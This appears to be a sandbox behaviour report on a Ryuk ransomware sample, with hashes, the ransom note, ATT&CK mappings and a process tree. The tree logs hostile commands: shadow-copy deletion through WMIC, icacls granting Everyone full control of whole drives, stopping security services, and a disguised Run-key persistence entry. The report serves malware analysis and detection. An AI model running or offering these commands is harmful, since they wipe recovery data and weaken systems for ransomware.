ryuk | b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2

Analysis

max time kernel
164s
max time network
219s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
20-02-2022 02:55

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General

Target

b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
Size

196KB
MD5

35fb90e465df48871ee78df492fe22de
SHA1

ddfba2e525968f6aedf050613f32b124b13f776a
SHA256

b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2
SHA512

60511d000df87164627fb6053049e82be0833e60a8b8a7ae30e93084e4293e250f1a7b2a4eaf3d875408a304e845ae548ff2cd68d6f604090cdc5be3d168d5f7

Score

10^/10

ryuk discovery persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RyukReadMe.html

Family

ryuk

Ransom Note

<html><body><p style="font-weight:bold;font-size:125%;top:0;left:0;"> [email protected] <br> </p><p style="position:absolute;bottom:0;right:1%;font-weight:bold;font-size:170%">balance of shadow universe</p><div style="font-size: 550%;font-weight:bold;width:50%;height:50%;overflow:auto;margin:auto;position:absolute;top:35%;left:40%;">Ryuk</div></body></html��

Emails

[email protected]

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RyukReadMe.html

Family

ryuk

Ransom Note

[email protected] balance of shadow universe Ryuk

Emails

[email protected]

Signatures

Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
ransomware ryuk

Executes dropped EXE 1 IoCs

pid	Process
2368	yeFcpTq.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	yeFcpTq.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
988	icacls.exe
3752	icacls.exe
1440	icacls.exe
4388	icacls.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchos = "C:\\Users\\Admin\\AppData\\Local\\Temp\\b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchos = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yeFcpTq.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
2368	yeFcpTq.exe
2368	yeFcpTq.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
Token: SeBackupPrivilege	2368	yeFcpTq.exe
Token: SeBackupPrivilege	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
Token: SeIncreaseQuotaPrivilege	1656	WMIC.exe
Token: SeSecurityPrivilege	1656	WMIC.exe
Token: SeTakeOwnershipPrivilege	1656	WMIC.exe
Token: SeLoadDriverPrivilege	1656	WMIC.exe
Token: SeSystemProfilePrivilege	1656	WMIC.exe
Token: SeSystemtimePrivilege	1656	WMIC.exe
Token: SeProfSingleProcessPrivilege	1656	WMIC.exe
Token: SeIncBasePriorityPrivilege	1656	WMIC.exe
Token: SeCreatePagefilePrivilege	1656	WMIC.exe
Token: SeBackupPrivilege	1656	WMIC.exe
Token: SeRestorePrivilege	1656	WMIC.exe
Token: SeShutdownPrivilege	1656	WMIC.exe
Token: SeDebugPrivilege	1656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1656	WMIC.exe
Token: SeRemoteShutdownPrivilege	1656	WMIC.exe
Token: SeUndockPrivilege	1656	WMIC.exe
Token: SeManageVolumePrivilege	1656	WMIC.exe
Token: 33	1656	WMIC.exe
Token: 34	1656	WMIC.exe
Token: 35	1656	WMIC.exe
Token: 36	1656	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1352	WMIC.exe
Token: SeSecurityPrivilege	1352	WMIC.exe
Token: SeTakeOwnershipPrivilege	1352	WMIC.exe
Token: SeLoadDriverPrivilege	1352	WMIC.exe
Token: SeSystemProfilePrivilege	1352	WMIC.exe
Token: SeSystemtimePrivilege	1352	WMIC.exe
Token: SeProfSingleProcessPrivilege	1352	WMIC.exe
Token: SeIncBasePriorityPrivilege	1352	WMIC.exe
Token: SeCreatePagefilePrivilege	1352	WMIC.exe
Token: SeBackupPrivilege	1352	WMIC.exe
Token: SeRestorePrivilege	1352	WMIC.exe
Token: SeShutdownPrivilege	1352	WMIC.exe
Token: SeDebugPrivilege	1352	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1352	WMIC.exe
Token: SeRemoteShutdownPrivilege	1352	WMIC.exe
Token: SeUndockPrivilege	1352	WMIC.exe
Token: SeManageVolumePrivilege	1352	WMIC.exe
Token: 33	1352	WMIC.exe
Token: 34	1352	WMIC.exe
Token: 35	1352	WMIC.exe
Token: 36	1352	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 2368	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	84
PID 1332 wrote to memory of 2368	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	84
PID 1332 wrote to memory of 2368	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	84
PID 1332 wrote to memory of 2280	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	37
PID 1332 wrote to memory of 2860	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	85
PID 1332 wrote to memory of 2860	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	85
PID 1332 wrote to memory of 2860	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	85
PID 1332 wrote to memory of 3144	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	87
PID 1332 wrote to memory of 3144	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	87
PID 1332 wrote to memory of 3144	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	87
PID 1332 wrote to memory of 2312	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	36
PID 1332 wrote to memory of 2432	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	35
PID 1332 wrote to memory of 744	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	45
PID 1332 wrote to memory of 3252	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	46
PID 1332 wrote to memory of 3348	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	55
PID 1332 wrote to memory of 3424	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	54
PID 1332 wrote to memory of 3516	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	57
PID 1332 wrote to memory of 3848	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	59
PID 1332 wrote to memory of 4052	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	64
PID 1332 wrote to memory of 1752	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	73
PID 1332 wrote to memory of 2208	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	77
PID 2860 wrote to memory of 3632	2860	net.exe	90
PID 2860 wrote to memory of 3632	2860	net.exe	90
PID 2860 wrote to memory of 3632	2860	net.exe	90
PID 3144 wrote to memory of 100	3144	net.exe	89
PID 3144 wrote to memory of 100	3144	net.exe	89
PID 3144 wrote to memory of 100	3144	net.exe	89
PID 2368 wrote to memory of 3752	2368	yeFcpTq.exe	92
PID 2368 wrote to memory of 3752	2368	yeFcpTq.exe	92
PID 2368 wrote to memory of 3752	2368	yeFcpTq.exe	92
PID 1332 wrote to memory of 988	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	91
PID 1332 wrote to memory of 988	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	91
PID 1332 wrote to memory of 988	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	91
PID 2368 wrote to memory of 4388	2368	yeFcpTq.exe	94
PID 2368 wrote to memory of 4388	2368	yeFcpTq.exe	94
PID 2368 wrote to memory of 4388	2368	yeFcpTq.exe	94
PID 1332 wrote to memory of 1440	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	93
PID 1332 wrote to memory of 1440	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	93
PID 1332 wrote to memory of 1440	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	93
PID 2368 wrote to memory of 4592	2368	yeFcpTq.exe	96
PID 2368 wrote to memory of 4592	2368	yeFcpTq.exe	96
PID 2368 wrote to memory of 4592	2368	yeFcpTq.exe	96
PID 1332 wrote to memory of 3112	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	95
PID 1332 wrote to memory of 3112	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	95
PID 1332 wrote to memory of 3112	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	95
PID 2368 wrote to memory of 4552	2368	yeFcpTq.exe	97
PID 2368 wrote to memory of 4552	2368	yeFcpTq.exe	97
PID 2368 wrote to memory of 4552	2368	yeFcpTq.exe	97
PID 2368 wrote to memory of 944	2368	yeFcpTq.exe	98
PID 2368 wrote to memory of 944	2368	yeFcpTq.exe	98
PID 2368 wrote to memory of 944	2368	yeFcpTq.exe	98
PID 1332 wrote to memory of 2052	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	101
PID 1332 wrote to memory of 2052	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	101
PID 1332 wrote to memory of 2052	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	101
PID 1332 wrote to memory of 4712	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	104
PID 1332 wrote to memory of 4712	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	104
PID 1332 wrote to memory of 4712	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	104
PID 1332 wrote to memory of 4988	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	107
PID 1332 wrote to memory of 4988	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	107
PID 1332 wrote to memory of 4988	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	107
PID 944 wrote to memory of 896	944	net.exe	112
PID 944 wrote to memory of 896	944	net.exe	112
PID 944 wrote to memory of 896	944	net.exe	112
PID 1332 wrote to memory of 428	1332	b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe	110

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2312

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:744

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3252

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3424

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3348

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3516

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3848

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4052

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:1752

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2208

C:\Users\Admin\AppData\Local\Temp\b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe
"C:\Users\Admin\AppData\Local\Temp\b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Users\Admin\AppData\Local\Temp\yeFcpTq.exe
  "C:\Users\Admin\AppData\Local\Temp\yeFcpTq.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\*" /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    PID:3752
- - C:\Windows\SysWOW64\icacls.exe
    icacls "D:\*" /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    PID:4388
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "WMIC.exe shadowcopy delet"
    3⤵
    PID:4592
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC.exe shadowcopy delet
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1656
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
    3⤵
    PID:4552
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "audioendpointbuilder" /y
      4⤵
      PID:2152
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\System32\net.exe" stop "samss" /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "samss" /y
      4⤵
      PID:896
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\yeFcpTq.exe" /f /reg:64
    3⤵
    PID:4080
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\yeFcpTq.exe" /f /reg:64
      4⤵
      Adds Run key to start application
      PID:4744
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:3632
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:100
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:988
- C:\Windows\SysWOW64\icacls.exe
  icacls "D:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "WMIC.exe shadowcopy delet"
  2⤵
  PID:3112
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    WMIC.exe shadowcopy delet
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1352
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  PID:2052
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe" /f /reg:64
  2⤵
  PID:4712
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\b6a77965f94dfc6f0ed0a3465e8d17e998328a9659ef860fbe2396bb0014f8a2.exe" /f /reg:64
    3⤵
    - Adds Run key to start application
    PID:2708
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:4988
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:660
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  PID:428
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:1804
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:2896
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:1444
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  PID:10632
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:10684
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:10704
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:10788
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  PID:10752
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:3076
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:10832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:10880

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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